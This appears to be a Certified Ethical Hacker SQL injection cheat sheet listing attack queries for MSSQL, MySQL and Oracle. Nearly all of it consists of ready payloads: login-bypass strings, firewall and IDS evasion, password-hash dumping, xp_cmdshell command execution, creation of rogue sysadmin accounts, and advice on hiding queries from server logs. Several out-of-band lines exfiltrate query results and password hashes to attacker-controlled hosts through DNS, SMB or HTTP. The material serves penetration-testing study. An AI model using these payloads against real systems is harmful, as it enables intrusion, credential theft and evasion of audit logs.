Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker

SQL Injection Cheat Sheet

Ethical Hacking and Countermeasures

SQL Injection Cheat Sheet

Databases:
1. MSSQL
2. MySQL
3. ORACLE
4. IBM-DB2 SQL
5. INGRES SQL
6. INFORMIX
7. POSTGRESQL
8. MS ACCESS

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SQL Injection Cheat Sheet

1. MSSQL Database

Query Command
 SELECT @@VERSION;
Version
— This command obtains the OS/Windows version of the system.
 SELECT name FROM master..syslogins;
List Users — This command lists the names of users from the table
master..syslogins.
 SELECT user_name();
— This command obtains a name of recently logged in user.
 SELECT system_user;
— This command obtains the current value of system_user.
Current User  SELECT user;
— This command obtains the name of impersonated user.
 SELECT loginname FROM master..sysprocesses WHERE spid =
@@SPID;
— This command obtains the column name loginname from table
master..sysprocesses having spid=@@SPID.
 SELECT name FROM master..sysdatabases;
— This command obtains the list of all the databases from database
‘master..sysdatabases’.
List all Database
 SELECT DB_NAME(N);
— This command obtains the DB_NAME present at N (Where
N=0,1,2,3, …).
Current  SELECT DB_NAME();
Database — This command obtains the current database.
 SELECT name FROM sysobjects WHERE xtype = 'U';
List Tables — This command obtains the column ‘name’ from table sysobjects
having xtype value ‘U’.
 SELECT name FROM syscolumns WHERE id =(SELECT id FROM
sysobjects WHERE name = 'tablenameforcolumnnames')
— This command works only for reading current database’s tables.
Column Names  SELECT master..syscolumns.name,
TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns,
master..sysobjects WHERE
master..syscolumns.id=master..sysobjects.id AND

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SQL Injection Cheat Sheet

master..sysobjects.name='sometable';
— This command works globally. But you should change the master
with the DB name which holds the table you want to read the
columns and change ‘sometable’ with the table name.
 SELECT TOP 1 name FROM (SELECT TOP 9 name FROM
Select Nth Row master..syslogins ORDER BY name ASC) sq ORDER BY name DESC;
— This command obtains 9th row.
 SELECT substring(‘abcd’, 3, 1);
Select Nth Char
—This command returns c.
 IF (1=1) SELECT 1 ELSE SELECT 2;
If Statement
—This command returns 1.
 SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END;
Case Statement
—This command returns 1.
 SELECT 1;
— This command is used for writing a comment.
Comments
 SELECT /*comment*/1;
— This command is used to comment out a statement.
String without  SELECT CHAR(75)+CHAR(76)+CHAR(77);
Quotes — This command returns ‘KLM’.
 WAITFOR DELAY ’0:0:5′;
Time Delay
— This command is used to pause for 5 seconds.
 EXEC xp_cmdshell
 ‘net user’;
— privOn MSSQL 2005, and you may need to reactivate xp_cmdshell
Command first as it’s disabled by default:
Execution EXEC sp_configure ‘show advanced options’, 1; — priv
RECONFIGURE; — priv
EXEC sp_configure ‘xp_cmdshell’, 1; — priv
RECONFIGURE; — priv
 declare @host varchar(800); select @host = name FROM
master..syslogins; exec(‘master..xp_getfiledetails ”\’ + @host +
‘c$boot.ini”’);
Make DNS — These commands are used to make DNS request.
Requests  declare @host varchar(800); select @host = name + ‘-’ +
master.sys.fn_varbintohexstr(password_hash) +
‘.2.pentestmonkey.net’ from sys.sql_logins; exec(‘xp_fileexist ”\’ +
@host + ‘c$boot.ini”’);

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SQL Injection Cheat Sheet

— These commands are used to make DNS request.

— NB: Concatenation is not allowed in calls to these SPs, hence you
have to use @host.
SQL Injection, Login tricks
 admin' --
 admin' #
 admin'/*
Bypassing Login
 ' or 1=1—
Screens
 ' or 1=1#
 ' or 1=1/*
 ') or '1'='1—
 ') or ('1'='1--
Malicious input used to bypass authentication
 ‘ or 1=1 --
 1'or’1'=’1
 admin’--
 ” or 0=0 --
 or 0=0 --
Bypassing  ‘ or 0=0 #
Admin Panel of  ” or 0=0 #
a Website  or 0=0 #
 ‘ or ‘x’='x
 ” or “x”=”x
 ‘) or (‘x’='x
 ‘ or 1=1--
 ” or 1=1--
 or 1=1--
Malicious query using normalization method to bypass firewall
 /?id=1/*union*/union/*select*/select+1,2,3/*
Malicious query using HPP technique to bypass firewall
 /?id=1;select+1&id=2,3+from+users+where+id=1—
Bypassing
Malicious query using HPF technique to bypass firewall
Firewall
 /?a=1+union/*&b=*/select+1,2
 /?a=1+union/*&b=*/select+1,pass/*&c=*/ from+users—
Malicious query using blind SQL injection to bypass firewall
 /?id=1+OR+0x50=0x50

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SQL Injection Cheat Sheet

 /?id=1+and+ascii(lower(mid((select+pwd+from+
users+limit+1,1),1,1)))=74
Malicious query using signature bypass method to bypass firewall
 /?id=1+union+(select+'xz'from+xxx)
 /?id=(1)union(select(1),mid(hash,1,32)from(users))
 /?id=1+union+(select'1',concat(login,hash)from+users)
 /?id=(1)union(((((((select(1),hex(hash)from(users))))))))
 /?id=xx(1)or(0x50=0x50)
Malicious query using buffer overflow method to bypass firewall
 ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!
%53eLEct*/%0A/*nnaa*/+1,2,3,4…
Malicious query to enumerate different databases in the server
 ' and 1 in (select min(name) from master.dbo.sysdatabases where
Database name >'.' ) –
Enumeration Malicious query to enumerate different file locations in the databases
 ' and 1 in (select min(filename) from master.dbo.sysdatabases
where filename >'.' ) –
Malicious query to enumerate tables and columns in the database
Tables and
Columns  ' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' +
Enumeration in systypes.name, 1, 1, '1', 1, 1, 1, 1, 1 from sysobjects, syscolumns,
one Query systypes where sysobjects.xtype = 'U' AND sysobjects.id =
syscolumns.id AND syscolumns.xtype = systypes.xtype --
If application is first getting the record by username and then compare
returned MD5 with supplied password's MD5 then you need to some
extra tricks to fool application to bypass authentication. You can union
Bypassing results with a known password and MD5 hash of supplied password. In
Second MD5 this case application will compare your password and your supplied MD5
Hash Check hash instead of MD5 from database.
Login Screens Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin',
'81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

Stacked Query  ProductID=1; DROP members--

 SELECT header, txt FROM news UNION ALL SELECT name, pass
FROM members
Union
Injections — With union you can do SQL queries cross-table. Basically, you can
poison query to return records from another table. This above
example will combine results from both news table and members
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SQL Injection Cheat Sheet

table and return all of them.

 Another Example:
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
 DROP sampletable;--
 DROP sampletable;#
Log in as Admin Username: admin'--
User SELECT * FROM members WHERE username = 'admin'--' AND password =
'password'
— Using this command, you can log in as admin user.

 SELECT name, password FROM master..sysxlogins;

— This command obtains the columns ‘name’ and ‘password’ from
the table ‘master..sysxlogins’. It works only in MSSQL 2000.
List Passwords
 SELECT name, password_hash FROM master.sys.sql_logins;
— This command obtains the columns ‘name’ and ‘password_hash’
from the table ‘master.sys.sql_logins’. It works only in MSSQL 2005.

 SELECT name, password FROM master..sysxlogins

— This command obtains the columns ‘name’ and ‘password’ from
the table ‘master..sysxlogins’.
— priv, mssql 2000.
 SELECT name, master.dbo.fn_varbintohexstr(password) FROM
master..sysxlogins
— This command obtains the columns ‘name’ and
‘master.dbo.fn_varbintohexstr(password)’ from the table
‘master..sysxlogins’.
— priv, mssql 2000, Need to convert to hex to return hashes in
List Password MSSQL error message / some version of query analyzer.
Hashes
 SELECT name, password_hash FROM master.sys.sql_logins
— This command obtains the columns ‘name’ and ‘password_hash’
from the table ‘master.sys.sql_logins’.
— priv, mssql 2005.
 SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash)
from master.sys.sql_logins
— This command obtains the columns ‘name + ‘-’ +
master.sys.fn_varbintohexstr(password_hash)’ from the table
‘master.sys.sql_logins’.
— priv, mssql 2005.

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SQL Injection Cheat Sheet

Malicious code to grab the passwords

 '; begin declare @var varchar(8000)
Password set @var=':' select @var=@var+' '+login+'/'+password+' ' from
Grabbing users where login>@var select @var as var into temp end --
' and 1 in (select var from temp) --
' ; drop table temp --
SQL Server don't log queries which includes sp_password for security
reasons(!). So, if you add --sp_password to your queries it will not be
Covering Tracks
in SQL Server logs (of course still will be in web server logs, try to use
POST if it's possible)
Insert a file content to a table. If you don't know internal path of web
application, you can read IIS (IIS 6 only) metabase file
(%systemroot%\system32\inetsrv\MetaBase.xml) and then search
Bulk Insert in it to identify application path.
Create table foo( line varchar(8000) );
bulk insert foo from 'c:\inetpub\wwwroot\login.asp';
Drop temp table; and repeat for another file
 EXEC sp_addlogin 'user', 'pass';
Create Users — This command creates a new SQL Server login where username is
‘user’ and password is ‘pass’.
 EXEC sp_droplogin 'user';
Drop User
— This command drops a username = ‘user’ from SQL Server login.
 EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
Make User DBA
— This command makes a ‘user’ DBA.
Malicious command used to create the database accounts
Create DB
 exec sp_addlogin 'name' , 'password'
Accounts
 exec sp_addsrvrolemember 'name' , 'sysadmin'
 ' group by columnnames having 1=1 --
— malicious query used to determine table and column names
 ' union select sum(columnname ) from tablename --
Discover DB
Structure — malicious query used to discover column name types
 ' and 1 in (select min(name) from sysobjects where xtype = 'U'
and name > '.') --
malicious query used to enumerate user defined tables
 CREATE TABLE mydata (line varchar(8000));
Local File
BULK INSERT mydata FROM ‘c:boot.ini’;
Access
DROP TABLE mydata;

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SQL Injection Cheat Sheet

— This command is used to gain Local File Access.

Hostname, IP  SELECT HOST_NAME();

Address — This command obtains the Hostname and IP address of a system.
Error Based
SQLi attack:
 For integer inputs: convert(int,@@version);
To throw
 For string inputs: ‘ + convert(int,@@version) +’;
Conversion
Errors
Clear SQLi  product.asp?id=4;
Tests:
 product.asp?id=5-1;
For Boolean
 product.asp?id=4 OR 1=1;
SQL Injection
and Silent — These commands can be used as tests for Boolean SQL injection
Attacks and silent attacks.

 SELECT * FROM master..sysmessages;

Error Messages — This command retrieves all the errors messages present in the
SQL server.

Server Name Malicious Query to retrieve server name and configuration in a network
and  ' and 1 in (select @@servername)--
Configuration  ' and 1 in (select servername from sys.sysservers)--
 SELECT * FROM master..sysservers;
Linked Servers
— This command retrieves all the Linked Servers.
Examples for evading ' OR 1=1 signature:
 OR 'john' = 'john'
 ' OR 'microsoft' = 'micro'+'soft'
 ' OR 'movies' = N'movies'
IDS Signature
 ' OR 'software' like 'soft%'
Evasion
 ' OR 7 > 1
 ' OR 'best' > 'b'
 ' OR 'whatever' IN ('whatever')
 ' OR 5 BETWEEN 1 AND 7

Malicious SQL queries to evade IDS signatures using comments are as

IDS Signature follows:
Evasion using
 '/**/OR/**/1/**/=/**/1
Comments
 Username:' or 1/*

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SQL Injection Cheat Sheet

 Password:*/=1--
 UNI/**/ON SEL/**/ECT
 (MS SQL) '; EXEC ('SEL' + 'ECT US' + 'ER')
 ?vulnerableParam=1;DECLARE @x as int;DECLARE @w as
char(6);SET @x=ASCII(SUBSTRING(({INJECTION}),1,1));IF @x=100
Time Based SET @w='0:0:14' ELSE SET @w='0:0:01';WAITFOR DELAY @w—
SQLi
{INJECTION} = You want to run the query.
Exploitation
— If the condition is true, will response after 14 seconds. If is false,
will be delayed for one second.
 ?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB',
({INJECT})+'.yourhost.com';'sa';'pwd', 'SELECT 1');
— This command makes DNS resolution request to
{INJECT}.yourhost.com.
Out of Band  ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q =
Channel '\\'+({INJECT})+'.yourhost.com\\test.txt'; EXEC master..xp_dirtree
@q
— This command makes DNS resolution request to
{INJECT}.yourhost.com.
— {INJECTION} = You want to run the query.
 Northwind
 Model
Default
 Sdb
Databases
 pubs — not on sql server 2005
 tempdb

Creating Malicious command used to create database accounts

Database  exec sp_addlogin 'victor', 'Pass123'
Accounts  exec sp_addsrvrolemember 'victor', 'sysadmin'

Path of DB files  %PROGRAM_FILES%\Microsoft SQL Server\MSSQL.1\MSSQL\Data\

 EXEC sp_helpdb master;

Location of DB — This command retrieves the location of master.mdf.
Files  EXEC sp_helpdb pubs;
— This command retrieves the location of pubs.mdf.
Current privs on a particular object in 2005, 2008
Privileges  SELECT permission_name FROM master..fn_my_permissions(null,
‘DATABASE’);
— This command returns a column name ‘permission_name’ from

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SQL Injection Cheat Sheet

the table ‘master..fn_my_permissions’ where securable is set to

‘null’ and securable_class permission is set to current ‘DATABASE’.
 SELECT permission_name FROM master..fn_my_permissions(null,
‘SERVER’);
— This command returns a column name ‘permission_name’ from
the table ‘master..fn_my_permissions’ where securable is set to
‘null’ and securable_class permission is set to current ‘SERVER’.
 SELECT permission_name FROM
master..fn_my_permissions(‘master..syslogins’, ‘OBJECT’);
— This command returns a column name ‘permission_name’ from
the table ‘master..fn_my_permissions’ where securable is set to
‘master..syslogins’ and securable_class permission is set to current
‘OBJECT’.
 SELECT permission_name FROM master..fn_my_permissions(‘sa’,
‘USER’);
— This command returns a column name ‘permission_name’ from
the table ‘master..fn_my_permissions’ where securable is set to ‘sa’
and securable_class permissions are set on a ‘USER’.
— current privs in 2005, 2008
 SELECT is_srvrolemember(‘sysadmin’);
— This command determines whether a current has ‘sysadmin’
privilege.
 SELECT is_srvrolemember(‘dbcreator’);
— This command determines whether a current has ‘dbcreator’
privilege.
 SELECT is_srvrolemember(‘bulkadmin’);
— This command determines whether a current has ‘bulkadmin’
privilege.
 SELECT is_srvrolemember(‘diskadmin’);
— This command determines whether a current has ‘diskadmin’
privilege.
 SELECT is_srvrolemember(‘processadmin’);
— This command determines whether a current has ‘processadmin’
privilege.
 SELECT is_srvrolemember(‘serveradmin’);
— This command determines whether a current has ‘serveradmin’
privilege.
 SELECT is_srvrolemember(‘setupadmin’);
— This command determines whether a current has ‘setupadmin’

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privilege.
 SELECT is_srvrolemember(‘securityadmin’);
— This command determines whether a current has ‘securityadmin’
privilege.
 SELECT name FROM master..syslogins WHERE denylogin = 0;
— This command obtains column name ‘name’ from table
master..syslogins having denylogin value as 0.
 SELECT name FROM master..syslogins WHERE hasaccess = 1;
— This command obtains column name ‘name’ from table
master..syslogins having hasaccess value as 1.
 SELECT name FROM master..syslogins WHERE isntname = 0;
— This command obtains column name ‘name’ from table
master..syslogins having isntname value as 0.
 SELECT name FROM master..syslogins WHERE isntgroup = 0;
— This command obtains column name ‘name’ from table
master..syslogins having isntgroup value as 0.
 SELECT name FROM master..syslogins WHERE sysadmin = 1;
— This command obtains column name ‘name’ from table
master..syslogins having sysadmin value as 1.
 SELECT name FROM master..syslogins WHERE securityadmin = 1;
— This command obtains column name ‘name’ from table
master..syslogins having securityadmin value as 1.
 SELECT name FROM master..syslogins WHERE serveradmin = 1;
— This command obtains column name ‘name’ from table
master..syslogins having serveradmin value as 1.
 SELECT name FROM master..syslogins WHERE setupadmin = 1;
— This command obtains column name ‘name’ from table
master..syslogins having setupadmin value as 1.
 SELECT name FROM master..syslogins WHERE processadmin = 1;
— This command obtains column name ‘name’ from table
master..syslogins having processadmin value as 1.
 SELECT name FROM master..syslogins WHERE diskadmin = 1;
— This command obtains column name ‘name’ from table
master..syslogins having diskadmin value as 1.
 SELECT name FROM master..syslogins WHERE dbcreator = 1;
— This command obtains column name ‘name’ from table
master..syslogins having dbcreator value as 1.
 SELECT name FROM master..syslogins WHERE bulkadmin = 1;

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— This command obtains column name ‘name’ from table

master..syslogins having bulkadmin value as 1.
These are the commands that has several SQL built-in scalar functions
that can work in SQL implementations
 user or current_user, session_user, system_user
Identify User
 ' and 1 in (select user ) --
Level Privilege
 '; if user ='dbo' waitfor delay '0:0:5 '--
 ' union select if( user() like 'root@%',
benchmark(50000,sha1('test')), 'false' );

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SQL Injection Cheat Sheet

2. MySQL Database

Query Command
 SELECT @@VERSION;
— This command retrieves the system information of the current
Version installation of SQL Server.
 SELECT version();
— This command selects the specific version of a Server.
Malicious query used to interact with a target OS
 ' union select 1,load_file('/etc/passwd'),1,1,1;
OS
Malicious commands used to interact with a target OS
Interaction
 CREATE FUNCTION sys_exec RETURNS int SONAME 'libudffmwgj.dll';
 CREATE FUNCTION sys_eval RETURNS string SONAME 'libudffmwgj.dll';
 SELECT user FROM mysql.user;
List Users
— This command lists the column ‘user’ from the table ‘mysql.user’.
 SELECT user();
Current — This command obtains the current MySQL user name and hostname.
User  SELECT system_user();
— This command obtains the current value of system_user.
Malicious query used to create database accounts
Creating
Example:
Database
Accounts  INSERT INTO mysql.user (user, host, password) VALUES ('victor',
'localhost', PASSWORD('Pass123'))
 SELECT schema_name FROM information_schema.schemata;
for MySQL >= v5.0
List all
Database —This command obtains a column name ‘schema_name’ having a list of
databases from the table ‘schemata table’.
 SELECT distinct(db) FROM mysql.db; — priv
Current  SELECT database();
Database — This command obtains the current MySQL database.

Input  ' or username like char(37);

Validation — This command is used to inject without quotes (string = "%")
Circumventi  ' union select * from users where login = char(114,111,111,116);
on using — This command is used to inject with quotes (string="root")
Char()
 ' union select
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SQL Injection Cheat Sheet

1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
— This command is used to load files in unions (string = "/etc/passwd")
 ' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
— This command is used to check for existing files (string = "n.ext")

 SELECT table_name FROM information_schema.tables WHERE

table_schema = 'tblUsers'
List Tables — This command obtains the column name ‘table_name’ from the table
‘information_schema.tables’ having table_schema value ‘tblUsers’.
tblUsers -> tablename

 SELECT table_name, column_name FROM information_schema.columns

WHERE table_schema = 'tblUsers’
— This command obtains the columns name ‘table_name’
and ‘column_name’ from the table
‘information_schema.tables’ having table_schema value
Column ‘tblUsers’.
Names tblUsers -> tablename
 SELECT table_schema, table_name FROM information_schema.columns
WHERE column_name = 'username';
— This command obtains the columns name ‘table_name’ and
‘column_name’ from the table ‘information_schema.tables’ having
table_schema value ‘username’.

 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0;

Select Nth — This command returns rows numbered from 0.
Row  SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1;
— This command returns rows numbered from 0.
Select Nth  SELECT substr(‘abcd’, 3, 1);
Char — This command returns c.

If Statement  SELECT if(1=1,’foo’,'bar’); — returns ‘foo’

Case  SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END;
Statement — This command returns A.
 SELECT 1; #comment
— This command is used for writing a comment.
Comments
 SELECT /*comment*/1;
— This command is used comment out a statement.

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SQL Injection Cheat Sheet

String  SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))

without
Quotes — This command returns ‘KLM’.

 SELECT BENCHMARK(1000000,MD5(‘A’));
Time Delay SELECT SLEEP(5); -- >= 5.0.12
— This command triggers a measurable time delay.
If mysqld (<5.0) is running as root AND you compromise a DBA account you can
execute OS commands by uploading a shared object file into /usr/lib (or
Command similar). The .so file should contain a User Defined Function
Execution (UDF). raptor_udf.c explains exactly how you go about this. Remember to
compile for the target architecture which may or may not be the same as your
attack platform.
Malicious query used to extract data like password hashes from DNS request
 select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
DNS
Exfiltration  select
load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c
5c612e747874))
 ' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
Load File SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
— This command will show the content of c:\boot.ini.
 DROP sampletable;--
 DROP sampletable;#
Username : admin'--
Log in as : admin' or '1'='1'--
Admin User SELECT * FROM members WHERE $username = 'admin'--' AND $password
= 'password'
— This command lists all the users from the column ‘members’ having
$username value as ‘admin’ and $password value as ‘password’.
 SELECT user, password FROM mysql.user;
— This command retrieves the columns ‘user’ and ‘password‘ from the
table ‘mysql.user’.
 SELECT user, password FROM mysql.user LIMIT 1,1;
List
Passwords — This command retrieves the columns ‘user’ and ‘password‘ from the
table ‘mysql.user’ with LIMIT 1,1.
 SELECT password FROM mysql.user WHERE user = 'root';
— This command retrieves the column ‘password‘ from the table
‘mysql.user’ having user value as ‘root’.

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List  SELECT host, user, password FROM mysql.user;

Password — This command lists columns ‘host’, ‘user’ and ‘password’ from the table
Hashes ‘mysql.user’.
 SELECT * FROM mytable INTO dumpfile '/tmp/somefile';
Bulk Insert
— This command is used to insert a file content to a table.
 CREATE USER username IDENTIFIED BY 'password';
Create
Users — This command creates a username ‘USER’ who authenticates by
password to log on to the database.
Create DB  INSERT INTO mysql.user (user, host, password) VALUES ('name',
Accounts 'localhost', PASSWORD('pass123'))
 DROP USER username;
Drop User
— This command drops a username ‘USER’ from the table.
Make User  GRANT ALL PRIVILEGES ON *.* TO username@'%';
DBA — This command grants DBA privileges to a user.
 …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’)
Local File — This command allows you to only read world-readable files.
Access  SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’;
— This command allows you to write to file system.
Hostname,  SELECT @@hostname;
IP Address — This command obtains the Hostname and IP address of a system.
 (select 1 and row(1,1)>(select
count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from
Error Based (select 1 union select 2)a group by x limit 1));
SQLi Attack:
— This command is used to receive integer inputs.
To throw
 '+(select 1 and row(1,1)>(select
Conversion
count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from
Errors
(select 1 union select 2)a group by x limit 1))+';
— This command is used to receive string inputs.
Clear SQLi  product.php?id=4
Tests:  product.php?id=5-1
For Boolean  product.php?id=4 OR 1=1
SQL
Injection  product.php?id=-1 OR 17-7=10
and Silent — These commands can be used to test for Boolean SQL injection and
Attacks silent attacks.

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 SLEEP(25)--
SELECT BENCHMARK(1000000,MD5('A'));
 ProductID=1 OR SLEEP(25)=0 LIMIT 1—
Blind SQL  ProductID=1) OR SLEEP(25)=0 LIMIT 1--
Injection  ProductID=1' OR SLEEP(25)=0 LIMIT 1—
(Time
Based)  ProductID=1') OR SLEEP(25)=0 LIMIT 1--
 ProductID=1)) OR SLEEP(25)=0 LIMIT 1—
 ProductID=SELECT SLEEP(25)—
— These commands trigger a measurable time delay.
 ?vulnerableParam=-99 OR IF((ASCII(MID(({INJECTON}),1,1)) =
Time base 100),SLEEP(14),1) = 0 LIMIT 1—
SQLi {INJECTION} = You want to run the query.
Exploitation — If the condition is true, will response after 14 seconds. If is false, will be
delayed for one second.
 ?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('\\\\',({INJECTION}),
'yourhost.com\\')));
— This command makes a NBNS query request/DNS resolution request to
Out of Band yourhost.com.
Channel  ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE
'\\\\yourhost.com\\share\\output.txt');
— This command writes data to your shared folder/file.
{INJECTION} = You want to run the query.
Default  information_schema (>= mysql 5.0)
Databases  mysql
Path of DB
 SELECT @@datadir C:\AppServ\MySQL\data\
Files
Location of  SELECT @@datadir;
DB Files — This command obtains the location of DB files.
 SELECT grantee, privilege_type, is_grantable FROM
information_schema.user_privileges;
— This command lists list user privileges.
 SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv,
Privileges Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv,
File_priv, Grant_priv, References_priv, Index_priv, Alter_priv,
Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv,
Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user;
— This command lists list various types of privileges.

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 list user privsSELECT grantee, table_schema, privilege_type FROM

information_schema.schema_privileges;
— This command lists privileges on databases (schemas).
 SELECT table_schema, table_name, column_name, privilege_type FROM
information_schema.column_privileges;
— This command lists privileges on columns.

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SQL Injection Cheat Sheet

3. Oracle Database

Query Command
 SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
— This command obtains oracle version and build information.
Version  SELECT version FROM v$instance;
— This command displays the current database information such as
host name, status, startup time, etc.
 SELECT username FROM all_users ORDER BY username;
— This command obtains column ‘username’ from the table ‘all_users’
List Users and sort it by username.
 SELECT name FROM sys.user$;
— This command obtains column ‘name’ from table ‘sys.user$’.
 SELECT user FROM dual
Current User
— This command obtains current user from the table ‘dual’.
 SELECT DISTINCT owner FROM all_tables;
List all — This command lists schemas (one per user).
Database — Also queries TNS listener for other databases.
See tnscmd (services | status).
This command is used to create database accounts
 CREATE USER victor IDENTIFIED BY Pass123
Create DB TEMPORARY TABLESPACE temp
Accounts DEFAULT TABLESPACE users;
GRANT CONNECT TO victor;
GRANT RESOURCE TO victor;
 SELECT global_name FROM global_name;
— This command obtains current user from global_name.
 SELECT name FROM v$database;
— This command obtains current username from column ‘name’,
present in the table ‘v$database’.
Current
Database  SELECT instance_name FROM v$instance;
— This command obtains column ‘instance_name’ from the table
‘v$instance’.
 SELECT SYS.DATABASE_NAME FROM DUAL;
— This command obtains database name ‘SYS.DATABASE’ from the
table ‘DUAL’.

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 SELECT table_name FROM all_tables;

— This command obtains column ‘table_name’ from the table
‘all_tables’.
List Tables
 SELECT owner, table_name FROM all_tables;
— This command obtains columns ‘owner’ and ‘table_name’ from the
table ‘all_tables’.
 SELECT column_name FROM all_tab_columns WHERE table_name =
‘blah’;
— This command obtains column ‘column_name’ from the table
‘all_tab_columns’ having value of ‘table_name’ as ‘blah’.
Column
Names  SELECT column_name FROM all_tab_columns WHERE table_name =
‘blah’ and owner = ‘foo’
— This command obtains column ‘column_name’ from the table
‘all_tab_columns’ having value of ‘table_name’ as ‘blah’ and value of
owner as ‘foo’.
 SELECT username FROM (SELECT ROWNUM r, username FROM
Select Nth all_users ORDER BY username) WHERE r=9;
Row
— This command retrieves 9th row (rows numbered from 1).
Select Nth  SELECT substr(‘abcd’, 3, 1) FROM dual;
Char — This command retrieves gets 3rd character, ‘c’.
 BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END
IF; END;
If Statement — If the condition is true then a time delay is triggered and if the
condition is false time delay is not triggered.
— This command does not work well for SELECT statements.
 SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual;
Case — If the condition is true, it returns 1.
Statement  SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual;
— If the condition is true, it returns 2.
 SELECT 1 FROM dual
— This command is used for writing a comment.
Comments — NB: SELECT statements must have a FROM clause in Oracle so you
have to use the dummy table name ‘dual’ when we’re not actually
selecting from a table.
String  SELECT CHR(75)||CHR(76)||CHR(77)
without
Quotes — This command returns ‘KLM’.

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 BEGIN DBMS_LOCK.SLEEP(5); END;

— This command is used to trigger time delay.
 SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual;
— This command is used, if reverse looks are slow.
Time Delay  SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM
dual;
— This command is used, if forward lookups are slow.
 SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;
— This command is used, if outbound TCP is filtered / slow.

There are some techniques for command execution.

 Creating JAVA library
Command
 DBMS_SCHEDULER
Execution
 EXTPROC
 PL/SQL native make utility (9i only)

 SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual;

Make DNS
 SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;
Requests
—These commands are used to make DNS request from dual.

 SELECT header, txt FROM news UNION ALL SELECT name, pass FROM
members
— By using union, you can do SQL queries cross-table. Basically, you can
Union poison query to return records from another table and this example will
Injections combine results from both news table and members table and return all
of them.
 Another Example:
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

 DROP sampletable;--
Username: admin'—
Log in as SELECT * FROM members WHERE username = 'admin'--' AND
Admin User password = 'password'
—This command retrieves all the users from the table ‘members’ where
username is ‘admin’ and password is ‘password’.

 SELECT name, password FROM sys.user$ where type#=1

List
Passwords —This command retrieves the columns ‘name’ and ‘password’ from
table ‘sys.user$’ having ‘type#=1’.

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 SELECT name, password, astatus FROM sys.user$

—This command retrieves the username and password hashes
List — priv, <= 10g. a status tells you if acct is locked.
Password
Hashes  SELECT name,spare4 FROM sys.user$
—This command retrieves the username and password hashes
— priv, 11g
 CREATE USER
 user IDENTIFIED by pass;
Create Users
— This command creates a user ‘USER’ who authenticates by pass to
log on to the database.
 DROP USER
Drop User
— This command drops a ‘USER’.
Make User  GRANT DBA to USER
DBA — This command grants DBA privilege to ‘USER’.
 UTL_FILE can sometimes be used. Check that the following is non-null:
Local File SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;
Access Java can be used to read and write files if it’s installed (it is not available
in Oracle Express).
 SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
Hostname, SELECT UTL_INADDR.get_host_address FROM dual;
IP Address — This command obtains IP address of the user.
 SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual;
— This command obtains the hostnames of the user.
Error Based  (utl_inaddr.get_host_address((select user from DUAL)));
SQLi Attack:
— This command is used for accepting integer inputs.
To throw
 ' + (utl_inaddr.get_host_address((select user from DUAL)))+';
Conversion
Errors — This command is used for accepting string inputs.

Clear SQLi
Tests:  product.asp?id=4
For Boolean  product.asp?id=5-1
SQL  product.asp?id=4 OR 1=1
Injection — These commands can be used as tests for Boolean SQL injection and
and Silent silent attacks.
Attacks

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 ?vulnerableParam=(SELECT CASE WHEN

(NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN
Time Based dbms_pipe.receive_message(('xyz'),14) ELSE
SQLi dbms_pipe.receive_message(('xyz'),1) END FROM dual);
Exploitation {INJECTION} = You want to run the query.
— If the condition is true, will response after 14 seconds. If is false, will
be delayed for one second.

 ?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/
sniff.php?sniff='||({INJECTION})||'') FROM DUAL);
— Using this command, sniffer application will save results.
 ?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/
'||({INJECTION})||'.html') FROM DUAL);
— Using this command, results will be saved in HTTP access logs
 ?vulnerableParam=(SELECT
UTL_INADDR.get_host_addr(({INJECTION})||'.yourhost.com') FROM
Out of Band
DUAL);
Channel
— Using this command, you can sniff DNS resolution requests to
yourhost.com
 ?vulnerableParam=(SELECT
SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM
DUAL);
